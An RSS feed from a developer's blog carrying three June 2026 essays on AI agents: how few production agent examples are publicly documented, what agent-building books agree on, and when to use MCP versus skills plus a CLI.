&lt;?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Lakshmi Narasimhan</title><link>https://lakshminp.com/</link><description>I help developers build, deploy, and distribute their SaaS without hiring a team. Long-running notes on systems, AI internals, Carnatic music, fiction craft, and whatever else collides interestingly.</description><generator>Hugo + lakshminp theme</generator><language>en-us</language><lastBuildDate>Mon, 22 Jun 2026 00:00:00 +0000</lastBuildDate><managingEditor>Lakshmi Narasimhan</managingEditor><webMaster>Lakshmi Narasimhan</webMaster><copyright>© 2026 Lakshmi Narasimhan</copyright><atom:link href="https://lakshminp.com/feed.xml" rel="self" type="application/rss+xml"/><item><title>I Went Looking for Real-World AI Agent Examples. They're Rare.</title><link>https://lakshminp.com/2026/06/real-world-ai-agent-examples/</link><pubDate>Mon, 22 Jun 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/06/real-world-ai-agent-examples/</guid><category>essays</category><category>ai-coding</category><category>ai-agents</category><description>I&amp;rsquo;ll be honest up front: I&amp;rsquo;m still learning this stuff. I&amp;rsquo;m not writing this from a mountaintop. I&amp;rsquo;m writing it from the foothills, with muddy boots, having just figured out something that I suspect a lot of people pretend they already knew.
Here&amp;rsquo;s the thing that finally clicked for me. An agent is a loop. A model looks at the situation, decides one next step, calls a tool to do it, looks at what happened, and goes around again until it&amp;rsquo;s done. That&amp;rsquo;s it. I felt a little cheated when I understood it — the word &amp;ldquo;agent&amp;rdquo; had been doing so much heavy lifting on so many landing pages that I&amp;rsquo;d assumed there was a fortress behind it. There isn&amp;rsquo;t. There&amp;rsquo;s a while-loop.</description><content:encoded>&lt;![CDATA[<p>I&rsquo;ll be honest up front: I&rsquo;m still learning this stuff. I&rsquo;m not writing this from a mountaintop. I&rsquo;m writing it from the foothills, with muddy boots, having just figured out something that I suspect a lot of people pretend they already knew.</p><p>Here&rsquo;s the thing that finally clicked for me. An agent is a loop. A model looks at the situation, decides one next step, calls a tool to do it, looks at what happened, and goes around again until it&rsquo;s done. That&rsquo;s it. I felt a little cheated when I understood it — the word &ldquo;agent&rdquo; had been doing so much heavy lifting on so many landing pages that I&rsquo;d assumed there was a fortress behind it. There isn&rsquo;t. There&rsquo;s a while-loop.</p><p>So I went and read about the frameworks. All of them — LangGraph, CrewAI, LlamaIndex, the OpenAI Agents SDK, Pydantic AI, smolagents, the Claude Agent SDK, the vendor SDKs from Google and Amazon and Microsoft. And every single one walks you through the same starter example: a weather bot. Or &ldquo;chat with your PDF.&rdquo; Or my personal favorite, the demo where five agents — a Researcher, a Writer, a Critic, an Editor, and presumably a Manager to schedule their standups — collaborate to produce<a href="/2025/10/ai-agent-mistakes/" class="lnp-link">a blog post slightly worse than one agent would&rsquo;ve written</a>.</p><p>And I kept thinking:<em>okay, but where are the real ones?</em></p><p>Not the demos. Not the quickstart. Something non-trivial. Something that acts on the world, where a wrong move costs money or breaks production. I genuinely couldn&rsquo;t picture one. So instead of pretending, I went looking.</p><p>(The method, since it&rsquo;s too on-the-nose not to mention: I sent a<a href="/2026/01/6-ai-agents-coding-experiment/" class="lnp-link">small swarm of research agents</a> out across the web to comb engineering blogs and case studies for me, in parallel, while I made coffee. Hunting for proof that real agents exist turned out to be the most real agent use I&rsquo;d touched all week. Make of that what you will.)</p><p>Here&rsquo;s what I actually found.</p><h2 id="the-good-news-real-ones-exist">The good news: real ones exist</h2><p>A few of them are unambiguously real, and they&rsquo;re worth describing, because they taught me more about what an agent is<em>for</em> than any framework doc did.</p><p><strong>Sentry&rsquo;s Autofix</strong> is the one that changed my mind. When something breaks in a codebase Sentry monitors, an agent built on the Claude Agent SDK takes their root-cause analysis, plans a fix,<em>writes the code</em>, and opens a pull request you can actually merge — a full run in about six minutes. This isn&rsquo;t a chatbot that suggests you &ldquo;consider checking your null values.&rdquo; It writes the patch. And it runs against a platform doing over a million root-cause analyses a year. One of their engineers shipped it in weeks and wrote a piece literally titled<a href="https://blog.sentry.io/how-sentrys-ai-autofix-changed-my-mind-about-ai-agents/" rel="external nofollow noopener" class="lnp-link"><em>how Sentry&rsquo;s AI Autofix changed my mind about AI agents</em></a>. I felt seen.</p><p><strong>Amazon has an internal agent that troubleshoots network failures</strong> — diagnoses live VPC connectivity problems and resolves around 80% of network root causes on its own. Built on their<a href="https://strandsagents.com/blog/what-we-learned-from-one-year-of-building-production-agents/" rel="external nofollow noopener" class="lnp-link">Strands SDK</a>. That&rsquo;s an on-call SRE&rsquo;s nightmare-shift, handed to a loop. As someone who&rsquo;s done that shift, that number did something to me.</p><p><strong>Coinbase built<a href="https://github.com/coinbase/agentkit" rel="external nofollow noopener" class="lnp-link">a toolkit that gives an agent a crypto wallet</a>.</strong> The agent can hold funds, sign transactions, and pay for things autonomously. Read that again. We&rsquo;ve spent this whole article saying the scary part of agents is irreversible action with real stakes — and here&rsquo;s one wired directly to money on a blockchain, where &ldquo;oops&rdquo; is permanent. Terrifying. Also clearly real.</p><p><strong>Bilt runs<a href="https://www.letta.com/case-studies/bilt" rel="external nofollow noopener" class="lnp-link">a<em>million</em> agents</a></strong> — one per user — on Letta, each holding that user&rsquo;s transaction and engagement history in<a href="/2025/11/ai-agent-memory-persistence/" class="lnp-link">persistent memory</a> to drive merchant recommendations. The whole pitch of Letta is memory, and here&rsquo;s someone betting a recommendation system on it at a scale I can&rsquo;t fully picture.</p><p>And a scattering more, each genuinely non-trivial:<a href="https://www.langchain.com/blog/top-5-langgraph-agents-in-production-2024" rel="external nofollow noopener" class="lnp-link">Exa&rsquo;s web-research agent and LinkedIn&rsquo;s text-to-SQL bot</a> (both on LangGraph, both acting against live production systems); a<a href="https://pydantic.dev/" rel="external nofollow noopener" class="lnp-link">medical-triage agent on Pydantic AI</a> validated across 329 clinician-checked scenarios; a<a href="https://www.llamaindex.ai/blog/case-study-tender-rfp-agent-for-construction-sector-with-softiq" rel="external nofollow noopener" class="lnp-link">construction-tender agent on LlamaIndex</a> that digests 100-page public bids and spits out risk reports; Uber automating code migrations across its monorepo.</p><p>So. Real agents exist. I can stop being a skeptic about<em>that</em>.</p><h2 id="the-uncomfortable-news-there-arent-many-and-the-vendors-are-grading-their-own-homework">The uncomfortable news: there aren&rsquo;t many, and the vendors are grading their own homework</h2><p>Here&rsquo;s the part that kept nagging me after the research came back.</p><p>For each framework, I could find maybe<strong>one to three</strong> genuinely non-trivial examples. Not dozens. Single digits. And almost every one of them was published by the company that<em>sells the framework.</em> Sentry&rsquo;s story is on Sentry&rsquo;s blog (fair enough — Sentry isn&rsquo;t Anthropic), but most of them live in the framework vendor&rsquo;s own marketing: LangChain&rsquo;s case-study page, Letta&rsquo;s case studies, AWS&rsquo;s own deep-dive, Google&rsquo;s own developer blog. Independent &ldquo;here&rsquo;s our war story and here&rsquo;s what broke&rdquo; write-ups from teams with no skin in the game? Vanishingly rare.</p><p>And some frameworks I genuinely<em>couldn&rsquo;t</em> find a real one for:</p><ul><li><strong>smolagents</strong> has<a href="https://github.com/huggingface/smolagents" rel="external nofollow noopener" class="lnp-link">26,000 GitHub stars</a> and I love its design — but its flagship example is Hugging Face&rsquo;s own research replication. I found no named company betting anything real on it.</li><li><strong>CrewAI</strong> is everywhere in demos and has a wall of enterprise logos (PepsiCo, J&amp;J, the DoD), but behind almost every logo is zero operational detail. The one solid story —<a href="https://blog.crewai.com/lessons-from-2-billion-agentic-workflows/" rel="external nofollow noopener" class="lnp-link">a five-agent sales pipeline at DocuSign</a> — is, again, on CrewAI&rsquo;s own blog.</li><li><strong>Microsoft&rsquo;s Agent Framework</strong> just hit 1.0 claiming &ldquo;real-world validation with customers and partners&rdquo; and then named exactly zero of them. Its most impressive artifact,<a href="https://www.microsoft.com/en-us/research/articles/magentic-one-a-generalist-multi-agent-system-for-solving-complex-tasks/" rel="external nofollow noopener" class="lnp-link">Magentic-One</a>, is explicitly a<em>research</em> system that doesn&rsquo;t ship inside a product.</li></ul><p>I want to be careful here, because I&rsquo;m still learning and I don&rsquo;t want to overclaim the cynicism: &ldquo;I couldn&rsquo;t find it&rdquo; is not &ldquo;it doesn&rsquo;t exist.&rdquo; A lot of the realest agent work is surely locked inside companies that will never blog about it. But the<em>public</em> record, right now, is thin. Much thinner than the hype implied. The ratio of &ldquo;agentic platform&rdquo; marketing to &ldquo;here is a real agent doing a real job&rdquo; is grim.</p><h2 id="two-things-i-think-im-learning">Two things I think I&rsquo;m learning</h2><p>I&rsquo;m holding these loosely, because foothills. But:</p><p><strong>The best real agents are vendors using their own tools.</strong> Amazon&rsquo;s network agent,<a href="https://developers.googleblog.com/en/agent-development-kit-easy-to-build-multi-agent-applications/" rel="external nofollow noopener" class="lnp-link">Google&rsquo;s enterprise agents on ADK</a>, Strands originating inside Amazon Q Developer — the most concrete, number-backed cases are companies dogfooding the framework they built. That&rsquo;s either reassuring (they believe in it enough to run it) or a little hollow (of course the toolmaker has the best tool demo). Probably both.</p><p><strong>Every real one acts. None of them chat.</strong> This is the pattern that actually reorganized my thinking. Line up the genuinely non-trivial agents — writes a mergeable PR, signs a transaction, resolves a network outage, holds a million users&rsquo; memory, files a risk report on a 100-page tender. Not one of them is a conversation. The toys all talk. The real ones<em>do</em>. The demos cluster around chat because chat is safe and reversible and impresses in a screenshot. The real ones cluster around irreversible action because that&rsquo;s where an agent is actually worth the risk of building.</p><p>Which, looping all the way back, is exactly why the weather bot felt so empty. A weather bot doesn&rsquo;t<em>do</em> anything. It&rsquo;s the loop with the stakes amputated.</p><h2 id="so-where-does-that-leave-a-beginner">So where does that leave a beginner</h2><p>I don&rsquo;t have a grand conclusion. I have a working hypothesis, which is the most an honest learner should claim: the framework you pick matters far less than whether you have a real job that needs an agent that<em>acts</em>. If you don&rsquo;t, no framework will save you — you&rsquo;ll build a five-agent demo and quietly stop opening the repo. If you do, the loop is twenty lines, and you should start with whichever framework hides the least so you can actually see what&rsquo;s happening (smolagents, the OpenAI Agents SDK, and Pydantic AI were the ones that got out of my way the most).</p><p>And honestly? The fact that real examples are still this rare didn&rsquo;t discourage me. It read like a timestamp. We&rsquo;re early. The scarcity isn&rsquo;t proof the idea is empty — it&rsquo;s proof most people are still building weather bots while a handful of teams quietly wire a loop up to something that matters.</p><p>I&rsquo;d rather be in the second group — which is why I&rsquo;m slowly<a href="/2026/01/agent-orchestrator/" class="lnp-link">building one of my own</a>. I&rsquo;m still learning how.</p><hr><h2 id="the-ledger-the-realest-example-i-found-per-framework-and-where-its-published">The ledger (the realest example I found per framework, and where it&rsquo;s published)</h2><p><em>Honest tag: most of these are vendor-published. Independent confirmation is scarce — which is part of the story.</em></p><ul><li><strong>Claude Agent SDK</strong> — Sentry Autofix: writes mergeable PRs against 1M+ RCAs/yr →<a href="https://blog.sentry.io/how-sentrys-ai-autofix-changed-my-mind-about-ai-agents/" rel="external nofollow noopener" class="lnp-link">blog.sentry.io</a>,<a href="https://claude.com/customers/sentry" rel="external nofollow noopener" class="lnp-link">claude.com/customers/sentry</a></li><li><strong>AWS Strands</strong> — Amazon internal network-troubleshooting agent (~80% of network root causes); origin of Amazon Q Developer →<a href="https://strandsagents.com/blog/what-we-learned-from-one-year-of-building-production-agents/" rel="external nofollow noopener" class="lnp-link">strandsagents.com</a></li><li><strong>Letta</strong> — Bilt: ~1M per-user memory agents for recommendations →<a href="https://www.letta.com/case-studies/bilt" rel="external nofollow noopener" class="lnp-link">letta.com/case-studies/bilt</a></li><li><strong>OpenAI Agents SDK</strong> — Coinbase AgentKit: agents with on-chain wallets, real transactions →<a href="https://github.com/coinbase/agentkit" rel="external nofollow noopener" class="lnp-link">github.com/coinbase/agentkit</a></li><li><strong>LangGraph</strong> — Exa web-research agent; LinkedIn text-to-SQL bot; Uber code migrations →<a href="https://www.langchain.com/blog/exa" rel="external nofollow noopener" class="lnp-link">langchain.com/blog/exa</a>,<a href="https://www.langchain.com/blog/top-5-langgraph-agents-in-production-2024" rel="external nofollow noopener" class="lnp-link">top-5 in production</a></li><li><strong>Pydantic AI</strong> — STCC medical-triage agentic RAG (329 validated scenarios) →<a href="https://pydantic.dev/" rel="external nofollow noopener" class="lnp-link">pydantic.dev</a></li><li><strong>LlamaIndex</strong> — SoftIQ construction-tender agent (100-page bids → risk reports) →<a href="https://www.llamaindex.ai/blog/case-study-tender-rfp-agent-for-construction-sector-with-softiq" rel="external nofollow noopener" class="lnp-link">llamaindex.ai case study</a></li><li><strong>Google ADK</strong> — Google&rsquo;s own Agentspace/contact-center agents (6T+ tokens/mo); Renault EV-charger siting; Box contract extraction →<a href="https://developers.googleblog.com/en/agent-development-kit-easy-to-build-multi-agent-applications/" rel="external nofollow noopener" class="lnp-link">developers.googleblog.com</a></li><li><strong>CrewAI</strong> — DocuSign 5-agent sales Flow (vendor blog) →<a href="https://blog.crewai.com/lessons-from-2-billion-agentic-workflows/" rel="external nofollow noopener" class="lnp-link">blog.crewai.com</a></li><li><strong>smolagents</strong> — no named production company found; flagship is HF&rsquo;s own Open Deep Research →<a href="https://github.com/huggingface/smolagents" rel="external nofollow noopener" class="lnp-link">github.com/huggingface/smolagents</a></li><li><strong>Microsoft Agent Framework / AutoGen</strong> — mostly research (Magentic-One); 1.0 names zero customers →<a href="https://www.microsoft.com/en-us/research/articles/magentic-one-a-generalist-multi-agent-system-for-solving-complex-tasks/" rel="external nofollow noopener" class="lnp-link">microsoft.com/research</a></li></ul>
]]></content:encoded></item><item><title>Five Books Taught Me to Build AI Agents. All Five Quietly Told Me Not To.</title><link>https://lakshminp.com/2026/06/what-ai-agents-actually-are/</link><pubDate>Sun, 21 Jun 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/06/what-ai-agents-actually-are/</guid><category>essays</category><category>ai-coding</category><category>ai-agents</category><description>What four hundred thousand words of agent literature agree on — and never put on the cover.
I bought five books on building AI agents in a single afternoon, the way you panic-buy bottled water before a storm. Manning had a sale. I had a credit card and a vague sense that everyone around me had quietly become an &amp;ldquo;agent engineer&amp;rdquo; while I was busy doing my actual job.
So I did the responsible thing. I spun up a small army of subagents to read four of them for me, cover to cover, in parallel, and report back. Which, if you&amp;rsquo;re keeping score, means I built a multi-agent system to summarize books about how to build multi-agent systems. The irony was not lost on me. It was, in fact, the first thing I learned.</description><content:encoded>&lt;![CDATA[<p><em>What four hundred thousand words of agent literature agree on — and never put on the cover.</em></p><p>I bought five books on building AI agents in a single afternoon, the way you panic-buy bottled water before a storm. Manning had a sale. I had a credit card and a vague sense that everyone around me had quietly become an &ldquo;agent engineer&rdquo; while I was busy doing my actual job.</p><p>So I did the responsible thing. I spun up a small army of subagents to read four of them for me, cover to cover, in parallel, and report back. Which, if you&rsquo;re keeping score, means I built a multi-agent system to summarize books about how to build multi-agent systems. The irony was not lost on me. It was, in fact, the first thing I learned.</p><p>Here&rsquo;s the second.</p><h2 id="the-loop-is-thirty-lines">The loop is thirty lines</h2><p>Strip away the diagrams and the framework comparisons, and every single one of these books —<a href="https://www.manning.com/books/build-an-ai-agent-from-scratch" rel="external nofollow noopener" class="lnp-link">Build an AI Agent</a>,<a href="https://www.manning.com/books/build-a-multi-agent-system-from-scratch" rel="external nofollow noopener" class="lnp-link">Build a Multi-Agent System</a>,<a href="https://www.manning.com/books/ai-agents-in-action-second-edition" rel="external nofollow noopener" class="lnp-link">AI Agents in Action</a>,<a href="https://www.manning.com/books/ai-agents-and-applications" rel="external nofollow noopener" class="lnp-link">AI Agents and Applications</a> — converges on the same humble definition.</p><p>An agent is a language model, plus some tools, plus a loop that runs until the job is done.</p><p>That&rsquo;s it. One book states it as plainly as that. Another dresses it up as a four-letter cycle. There&rsquo;s a Reddit thread floating around that implements the whole thing in about thirty lines of code, set to a drum-and-bass track, and honestly it explains the concept better than half the chapters I read.</p><p>There is no secret sauce. There is no priesthood. You were promised a cathedral and what you got is a<code>while</code> loop with good manners.</p><p>Which raised an obvious question, sitting there with four hundred thousand words of agent literature on my screen: if the core idea fits on a napkin, what&rsquo;s in all these books?</p><h2 id="the-part-nobody-puts-on-the-cover">The part nobody puts on the cover</h2><p>The answer is the same in every one, and it&rsquo;s the most useful thing I took away.</p><p>The loop is the easy ten percent. The other ninety — the part that doesn&rsquo;t fit in a demo — is evaluation, memory, guardrails, cost control, defending against prompt injection, and the deeply unglamorous skill of knowing when to hand the problem back to a human.</p><p>Three of the four books I read point at the same Anthropic paper, &ldquo;Building Effective Agents,&rdquo; like it&rsquo;s scripture. And buried in chapter one of each — past the exciting cover, past the part where they sell you on the future — every author tells you the same quiet thing.</p><p>Don&rsquo;t reach for an agent.</p><p>Start with a plain model call. Then a chain. Then a workflow. Earn the agent only when the task genuinely needs one, because an agent costs roughly ten times a normal call. Per task. Now imagine that thing running unattended, all night, while you sleep.</p><p>I went looking for the loudest voices on the other side of this — the practitioners on Reddit who build agents for a living and have the scar tissue to prove it. I expected an argument. The top thread is literally titled &ldquo;Stop building AI agents.&rdquo; Another is a guy who got<em>paid</em> to rip the AI back out of a tool he&rsquo;d shipped. A third is the 2 a.m. classic: the agent hit a question it didn&rsquo;t understand, confidently made up an answer, and emailed it to a customer.</p><p>The books and the burnouts weren&rsquo;t arguing. They&rsquo;d arrived at the same conclusion from opposite ends of the room. The model was never the bottleneck. Running the thing was.</p><h2 id="what-im-actually-taking-away">What I&rsquo;m actually taking away</h2><p>A small tell that stuck with me: agent-to-agent coordination shows up in the<em>subtitles</em> of these books far more confidently than it shows up in the chapters. The field is writing about how agents talk to each other a little faster than it&rsquo;s shipping it. That&rsquo;s not a knock — it&rsquo;s a map. It tells you where the hype is and where the ground is still wet.</p><p>So here&rsquo;s my take, for whatever a guy who outsourced his reading to robots is worth.</p><p>The framework you pick doesn&rsquo;t matter much; that code rots in eighteen months. What compounds is the boring stuff the demos skip — evaluation, context discipline, and the judgment to not build the agent at all. Everyone is rushing to learn how to<em>make</em> an agent. Almost nobody is learning how to make one you&rsquo;d actually trust.</p><p>The capability got democratized this year. The judgment didn&rsquo;t.</p><p>That gap — between the agent that runs and the agent you&rsquo;d let near production while you&rsquo;re asleep — is the whole job now. It&rsquo;s also, conveniently,<a href="/2025/10/the-real-skill-ai-wont-replace/" class="lnp-link">the only part worth getting good at</a>.</p>
]]></content:encoded></item><item><title>The "MCP Is Dead" Fight Is a Category Error</title><link>https://lakshminp.com/2026/06/mcp-vs-skills-category-error/</link><pubDate>Thu, 18 Jun 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/06/mcp-vs-skills-category-error/</guid><category>essays</category><category>claude-code</category><category>ai-coding</category><description>Skills win the solo dev. MCP wins exactly one thing. Here&amp;rsquo;s the line.
I had the headline before I had the post.
&amp;ldquo;API + Skills Is a Poor Man&amp;rsquo;s MCP&amp;rdquo; — except I was going to argue the inversion: that MCP is the rich man&amp;rsquo;s overcomplication, a server process you stood up to wrap calls your agent could already make, and the lean move was always a skill plus a CLI. Spicy. Contrarian. The kind of take that does numbers in a feed.</description><content:encoded>&lt;![CDATA[<p><em>Skills win the solo dev. MCP wins exactly one thing. Here&rsquo;s the line.</em></p><p>I had the headline before I had the post.</p><p>&ldquo;API + Skills Is a Poor Man&rsquo;s MCP&rdquo; — except I was going to argue the inversion: that<em>MCP</em> is the rich man&rsquo;s overcomplication, a server process you stood up to wrap calls your agent could already make, and the lean move was always a skill plus a CLI. Spicy. Contrarian. The kind of take that does numbers in a feed.</p><p>Then I made the tactical error of fact-checking myself, and the post fell apart in my hands. What follows is the wreckage, reassembled into something truer than the dunk I wanted to write.</p><p><strong>TL;DR:</strong> Skills and MCP aren&rsquo;t competitors — comparing them is a category error. A skill is a recipe that runs in<em>your</em> runtime; MCP is a connection to a hosted service. For a solo dev wiring up their own workflow on a coding agent, skill + CLI wins on every axis that used to favor MCP — the context-bloat and cross-vendor arguments both got quietly erased in late 2025/early 2026. MCP earns its keep in exactly one situation: you&rsquo;re a<em>provider</em> exposing a live, OAuth&rsquo;d service to assistants you don&rsquo;t own. The rule that falls out:<strong>consuming an API → skill + CLI. Providing a service → MCP.</strong></p><h2 id="the-category-error-i-was-about-to-commit">The category error I was about to commit</h2><p>The first crack: &ldquo;API + skills vs MCP&rdquo; quietly assumes the two live on the same shelf. They don&rsquo;t.</p><p>A<strong>skill</strong> is knowledge. A markdown recipe — plus maybe a script — that teaches the agent how to do something, running in<em>your</em> runtime, on<em>your</em> machine, with tools you already have.</p><p><strong>MCP</strong> is a connection to a running service. A server, behind a protocol, that the model talks to.</p><p>Comparing them is apples to orchards. One is &ldquo;here&rsquo;s how, go do it.&rdquo; The other is &ldquo;here&rsquo;s a thing that&rsquo;s already running, call it.&rdquo; Most of the internet argues about them as if they&rsquo;re competing products. They&rsquo;re not even the same noun.</p><p>So the honest question isn&rsquo;t &ldquo;which wins.&rdquo; It&rsquo;s &ldquo;when does a hosted service behind a contract beat a recipe you run yourself?&rdquo; That&rsquo;s a real question. I just assumed I knew the answer.</p><h2 id="the-two-arguments-that-died-before-i-finished-typing">The two arguments that died before I finished typing</h2><p>My case against MCP rested on two pillars. Both had already collapsed, and I hadn&rsquo;t noticed.</p><p><strong>Pillar one: context bloat.</strong> Every MCP server dumps all its tool schemas into the context window — a seven-server setup could eat 67K tokens before you typed a word, and<a href="https://lakshminp.com/2025/11/ai-agent-memory-persistence/" class="lnp-link">the context window is the one resource your agent can&rsquo;t buy back</a>. Damning. Except in January 2026 Anthropic shipped tool search and<code>defer_loading</code>: now the model sees a search tool plus a couple of always-on tools, and pulls the rest on demand. Reported reductions of 85–95%. My killer stat became a &ldquo;this used to be true.&rdquo;</p><p><strong>Pillar two: cross-vendor reach is MCP&rsquo;s moat.</strong> Wrong by a different calendar. In December 2025, Agent Skills shipped as an open standard, and within 48 hours Microsoft put it in VS Code and OpenAI added it to ChatGPT and Codex. By spring, ~40 tools — Gemini CLI, JetBrains, Kiro, Goose — read the same<code>SKILL.md</code>. Skills are as universal as MCP now. The moat drained while I was sharpening my knives.</p><p>Fine. Two pillars down. The dunk still had three legs, I figured.</p><h2 id="watching-the-rest-fall">Watching the rest fall</h2><p><strong>Security?</strong> I&rsquo;d claimed MCP gives you a safety edge. It doesn&rsquo;t. If I want read-only GitHub access, I hand a read-only token to the skill<em>or</em> the MCP server — identical. The token scope is the gate, enforced at the API boundary, available to both. There&rsquo;s no protocol-level security advantage. Gone.</p><p><strong>Tokens?</strong> This one inverts, which delighted me until I realized it cut against my own thesis too. People assume MCP is token-cheap because the call —<code>list_pull_requests(owner, repo)</code> — is tidy. But the<em>call</em> isn&rsquo;t the cost. The<em>result</em> is. The GitHub API returns fat JSON, and a raw MCP tool call dumps the whole blob into context. A skill that runs code can filter in the sandbox and return five lines. So code-that-filters wins on tokens — and a skill is code-that-filters by birth. But that&rsquo;s an argument for skills, not against MCP-the-idea.</p><p><strong>Auto-orchestration?</strong> &ldquo;MCP composes calls for you.&rdquo; No, it doesn&rsquo;t. The protocol is transport — it has no &ldquo;run this sequence, give me only the end&rdquo; primitive. Either the model loops (every intermediate result round-trips through context — expensive) or a human pre-bakes a coarse server tool (effort). Automatic, token-cheap stacking only happens when you call tools<em>from code</em> — which is, once again, the skill model.</p><p>Every road kept leading back to the same place. I started to feel like the universe was trying to tell me something(sounds dramatic, I know).</p><h2 id="the-litmus-test-that-almost-saved-the-dunk">The litmus test that almost saved the dunk</h2><p>So I built a concrete test:<em>&ldquo;Fetch all open PRs, give me a gist of the modules they touch, merge only the ones tagged auth.&rdquo;</em></p><p>Fetch and gist are reads — data-heavy aggregation, the code-that-filters sweet spot. Skill wins, easily. But<em>merge</em> is a write, and a dangerous one, and writes are where I figured MCP&rsquo;s permission policy — pause and confirm each merge — would finally earn its keep.</p><p>Then a reader on the thread that became this post pointed out the obvious: gating decomposes into three questions, and only one is even arguably MCP&rsquo;s.</p><ul><li><strong>Capability</strong> — can a merge happen at all? The<em>token scope</em> answers that. Available to both. API-enforced.</li><li><strong>Selection</strong> — which PRs get merged? Your<em>filtering code</em> answers that. That&rsquo;s the skill&rsquo;s script.</li><li><strong>Confirmation</strong> — do you approve each one?<em>You</em>, in the loop on a coding agent — or a<code>--confirm</code> flag — or MCP&rsquo;s native prompt.</li></ul><p>Only the third row is MCP&rsquo;s, and even there it&rsquo;s matched by you-watching-bash or a confirm flag. On a coding agent with you present, skill plus the<code>gh</code> CLI wins the whole task. The merge didn&rsquo;t flip it.<em>You&rsquo;re</em> the permission policy.</p><p>That was the moment the dunk officially died. I went looking on Reddit to see who else had buried it.</p><h2 id="what-reddit-already-knew">What Reddit already knew</h2><p>Turns out, everyone. The threads are a graveyard with two opposing headstones.</p><p><a href="https://www.reddit.com/r/ClaudeCode/comments/1rrl56g/" rel="external nofollow noopener" class="lnp-link">&ldquo;Will MCP be dead soon?&rdquo;</a> — 406 comments.<a href="https://www.reddit.com/r/ClaudeAI/comments/1pjpbji/" rel="external nofollow noopener" class="lnp-link">&ldquo;I cannot, for the life of me, understand the value of MCPs&rdquo;</a> — 305 comments.<a href="https://www.reddit.com/r/mcp/comments/1rstpfk/" rel="external nofollow noopener" class="lnp-link">&ldquo;A eulogy for MCP (RIP).&rdquo;</a><a href="https://www.reddit.com/r/mcp/comments/1o8w5wq/" rel="external nofollow noopener" class="lnp-link">&ldquo;CLI &gt; MCP?&rdquo;</a> Someone even shipped a tool that converts MCP servers into CLI + skill files and &ldquo;cut ~97% token overhead.&rdquo;</p><p>The auto-generated TL;DR of that 305-comment thread is, embarrassingly, the post I&rsquo;d spent a day reverse-engineering:<em>&ldquo;You&rsquo;re looking at this from a solo dev&rsquo;s perspective, and you&rsquo;re not wrong — Skills or telling Claude to use a CLI is often more efficient. MCP&rsquo;s real value isn&rsquo;t for your individual coding session, but for the broader ecosystem.&rdquo;</em></p><p>So the solo-dev case is settled. But the people defending MCP weren&rsquo;t demo-app tourists. They were running it in production, and they landed one punch I couldn&rsquo;t slip.</p><h2 id="the-punch-i-couldnt-slip-and-the-one-real-win">The punch I couldn&rsquo;t slip, and the one real win</h2><p>From the eulogy thread, top comment:<em>&ldquo;People who claim there&rsquo;s no need for MCP will, if they build projects of growing complexity, sooner or later reinvent everything MCP provides — but bespoke and non-standardized.&rdquo;</em> And a sharper one:<em>&ldquo;CLI + skills are great for solo dev vibes. But the second you need an LLM to orchestrate across multiple platforms with real auth and governance? You&rsquo;re either using MCP or rebuilding it badly.&rdquo;</em></p><p>That&rsquo;s the one thing that survived every round. Not context, not security, not reach, not tokens.<strong>Distribution — of a specific kind.</strong></p><p>Here&rsquo;s the case, and it&rsquo;s narrower than the hype and realer than my dunk: you&rsquo;re a<em>provider</em>. You host a live service and you want it to show up as a one-click, OAuth&rsquo;d connector inside every AI assistant your customers already use — Claude&rsquo;s Connectors Directory (200+ integrations), ChatGPT Apps, all of it. Notion, Linear, and Stripe ship official remote MCP servers for exactly this. You build once; it lights up everywhere; the credentials and compute stay on your side.</p><p>A skill — even a universal one — cannot be that. A skill is a copy that runs in the consumer&rsquo;s runtime, and that&rsquo;s the whole limitation: it can only do what that runtime can do. Flip that around and you get the same win seen from the client&rsquo;s side. Claude Desktop runs skills<em>and</em> has a code sandbox — but the sandbox can&rsquo;t reach the open internet, so a skill that tries to curl GitHub dies at the egress wall, while an MCP server, running outside the box, reaches it fine. Same task, opposite answer, deciding variable is network egress. It&rsquo;s not a second reason to use MCP. It&rsquo;s the first reason wearing a different hat: when the consumer&rsquo;s runtime can&rsquo;t reach the thing, you need a service that can.</p><h2 id="the-rule-when-to-use-mcp-vs-a-skill--cli">The rule: when to use MCP vs a skill + CLI</h2><p>So, do you need MCP? Ask one question:<strong>are you consuming an API, or providing a service?</strong></p><p>Wiring your own agent to someone&rsquo;s existing API, on a coding tool with a shell — skill plus a CLI, every time. You will not &ldquo;reinvent MCP badly,&rdquo; because you need none of what MCP provides: no OAuth dance, no dynamic discovery, no cross-client reach. The CLI is complete, not a degenerate clone.</p><p>Exposing your own live service to assistants you don&rsquo;t own, with auth and governance, across vendors — that&rsquo;s MCP, and a CLI genuinely can&rsquo;t do it.</p><p>MCP isn&rsquo;t the poor man&rsquo;s anything. It&rsquo;s the<em>platform&rsquo;s</em> protocol. You reach for it the moment you stop consuming APIs and start being an app inside other people&rsquo;s assistants.</p><p>I know which side I&rsquo;m on this week. I shipped ThreadHQ&rsquo;s MCP server as a top-of-funnel for a reason — that&rsquo;s the provider play, done on purpose. (ThreadHQ is one of the products I<a href="https://lakshminp.com/2026/06/build-saas-with-claude-code/" class="lnp-link">built solo with Claude Code</a>; the MCP server is its distribution edge, not its plumbing.) But for the GitHub task on my own machine? I&rsquo;m still just typing<code>gh</code>. The dunk was wrong. The honest version is sharper anyway.</p>
